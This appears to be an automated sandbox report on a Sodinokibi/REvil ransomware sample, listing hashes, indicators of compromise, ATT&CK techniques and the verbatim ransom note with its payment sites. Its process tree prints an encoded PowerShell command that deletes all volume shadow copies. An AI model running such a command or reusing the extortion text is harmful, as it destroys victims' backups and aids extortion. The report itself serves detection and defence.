sodinokibi | c25b0b627ea052c67ef549e1040e5a33779f8661172c2df6420de1d2b228f7b7

General

Target

19e7e57a7622586a96b10cc489303d0e_JaffaCakes118.dll
Size

164KB
MD5

19e7e57a7622586a96b10cc489303d0e
SHA1

09e751d3f6078b21a534a319af248e03d82decdd
SHA256

c25b0b627ea052c67ef549e1040e5a33779f8661172c2df6420de1d2b228f7b7
SHA512

d059f5ba4cf37389a6d12701d7d37e4ec1815367a7c9822ff22a287ec3dcb99a669d8b48bea0948948d4235f86c0808ce8d0a01bbd9bc1914056c5e9874f7554
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFfp/TIdPVBf:veoUeZR2TRCWQFfhTId

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\34as0d2y-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 34as0d2y. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B52086FF733C4617 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/B52086FF733C4617 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: B4zpnf3KTbAxuHsSuQ0Kkdtl1nNqEa3jlCtC+oRzVfrqQGUtrycpao7rWwG4kMNQ C8hiG8783yirCkMMv6RuBeuws7ssK6vgO+Y6VOX8MEwmHQSLQTGR1Yk5akxQxTSn /UqOhLgyajQ0rHrXWtJPR7PNaU1bq6sE1Lx5Nhn6RYUNKZlapwXPKCsbj1e7epxa zuGcXLwaaZydEq1uWBqIUCrc0IrUdK/Xg/jkmOnjvR67AhSQNGr3rKG5F8YBUF3A uRYB8KzYn69WttUWFYl6jrMzvU1atVyBgq5cilc4/eqh65AukgREzoH2WIhvyLjF T58A57f4G50jDHIS+ZS0I29/rsjbJMMJda/y5VFdLIU8GBqp7ER7e7s0hPfId1nV Zlchr4Myb5Mfv2j8RQyCKG3Fjr7k8gkmgZq3kItBfppKUASzm82bI911ey0dNkXz lbkotgb+cIGPLbz9yRbjrThZtZKtolTGIu0MgYMSIeYAHcElgjhGJWf0A9L9TDoh y+BkyWpV1CUsmkagT1chmf2C48GTY9yWL/jhyL+JdZV3huUwoKeaE6n9CGwMnCC+ +LxVNy5Iqu4fDV2rD0vC/vYSXzg9P5qb1+HIS3SzfXOkG5Wmv2CVShls+ya81w1H /h1FtsZhg7Jpuua5/mdyrxn1s2O9e1McJ7iokfXn0XpJN+EusmYiVe6RzzMswZKL 5LC2/jrAigbRvnKum8wh4BCS0UUDMD2o03FwOK5Gx4edkTUcuiWaZ8UEEnXioCpk CmWl2UNYEruonvkZUmP7WHHtSlkgSQ0d28W2aDc7DjdW3QDBM7hRpHKIIBZarKhp 5TV8LktV9Oqe/RkMgY9vDOMQx2vPpKNsyKwE4OZil3oytcMy9/r1o4Qfq3RwXo2A EhPoF4XPECRTEzMwkdRkpDW+V7eRoYNTajnBygNrr2F+YIQmPpNQRNjh9nIOKWlF cfECYsf7boCi6n3X2c1bjik8Z+PNPB2kvIb/XSgfIayfo3ulf8TdsM1FJxJgODTI xYncni6vMovZPMtOS8gN9IafXQzDlGwk1T9+viq4V3tSl91xbHgwa69GHPN1bTfa 9uAZpn1RPKEVR3G714YSrWcRbDLLPC2ojIxqigL3mihIx1PI6vogroY86emLgUfM 941dnzNA8LU6RA/ZCYzhuC6RQgD1YtD7n1/NGDMA7D1VM78ngLMmcgvc2xS1CxkY Go/Dy0S9C17iSQq/84QR3Q== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B52086FF733C4617

http://decryptor.cc/B52086FF733C4617

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe

Drops file in Program Files directory 24 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\WatchSelect.crw	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\34as0d2y-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\DenyUndo.m1v	rundll32.exe
File opened for modification	\??\c:\program files\MergeConfirm.rm	rundll32.exe
File opened for modification	\??\c:\program files\RestoreDisconnect.mpg	rundll32.exe
File opened for modification	\??\c:\program files\UnblockSave.dwfx	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\34as0d2y-readme.txt	rundll32.exe
File created	\??\c:\program files\34as0d2y-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\AddProtect.vsd	rundll32.exe
File opened for modification	\??\c:\program files\EnableUnblock.jpg	rundll32.exe
File opened for modification	\??\c:\program files\UseRegister.odt	rundll32.exe
File opened for modification	\??\c:\program files\RestartClear.shtml	rundll32.exe
File opened for modification	\??\c:\program files\SuspendExpand.7z	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\34as0d2y-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\AssertSearch.raw	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmWatch.scf	rundll32.exe
File opened for modification	\??\c:\program files\MountConvert.php	rundll32.exe
File opened for modification	\??\c:\program files\RenameFind.mpeg	rundll32.exe
File opened for modification	\??\c:\program files\UnlockRepair.wmx	rundll32.exe
File opened for modification	\??\c:\program files\UnlockSave.tiff	rundll32.exe
File created	\??\c:\program files (x86)\34as0d2y-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\JoinCompress.easmx	rundll32.exe
File opened for modification	\??\c:\program files\RevokeDisable.wpl	rundll32.exe
File opened for modification	\??\c:\program files\SetSwitch.3gpp	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

2232 rundll32.exe
2220 powershell.exe

pid	process
2232	rundll32.exe
2220	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2232	rundll32.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeBackupPrivilege	2456	vssvc.exe
Token: SeRestorePrivilege	2456	vssvc.exe
Token: SeAuditPrivilege	2456	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1568 wrote to memory of 2232	1568	rundll32.exe	rundll32.exe
PID 1568 wrote to memory of 2232	1568	rundll32.exe	rundll32.exe
PID 1568 wrote to memory of 2232	1568	rundll32.exe	rundll32.exe
PID 1568 wrote to memory of 2232	1568	rundll32.exe	rundll32.exe
PID 1568 wrote to memory of 2232	1568	rundll32.exe	rundll32.exe
PID 1568 wrote to memory of 2232	1568	rundll32.exe	rundll32.exe
PID 1568 wrote to memory of 2232	1568	rundll32.exe	rundll32.exe
PID 2232 wrote to memory of 2220	2232	rundll32.exe	powershell.exe
PID 2232 wrote to memory of 2220	2232	rundll32.exe	powershell.exe
PID 2232 wrote to memory of 2220	2232	rundll32.exe	powershell.exe
PID 2232 wrote to memory of 2220	2232	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\19e7e57a7622586a96b10cc489303d0e_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1568

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\19e7e57a7622586a96b10cc489303d0e_JaffaCakes118.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2624

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2456

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\34as0d2y-readme.txt
Filesize
6KB

MD5
79ef12f508f4e396a4174248c69fe196

SHA1
3fa90e82de1ae332059fae6ce4e1df2e4813d01c

SHA256
1696a68117401365320c554f5ea27268762046f6afca2a47d01aefa4747adc3e

SHA512
b9cd3579534cb8408cc920f8045ad0888ed8d8336843003e65e33ff71bad2ed4f13952aab453cbf3e949fd032b152d1975087818c389fb885654bbbc9146ed66

Download Submit
memory/2220-4-0x000007FEF5D4E000-0x000007FEF5D4F000-memory.dmp

Filesize
4KB

Download
memory/2220-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2220-7-0x000007FEF5A90000-0x000007FEF642D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-6-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2220-8-0x000007FEF5A90000-0x000007FEF642D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-9-0x000007FEF5A90000-0x000007FEF642D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-10-0x000007FEF5A90000-0x000007FEF642D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-11-0x000007FEF5A90000-0x000007FEF642D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-12-0x000007FEF5A90000-0x000007FEF642D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads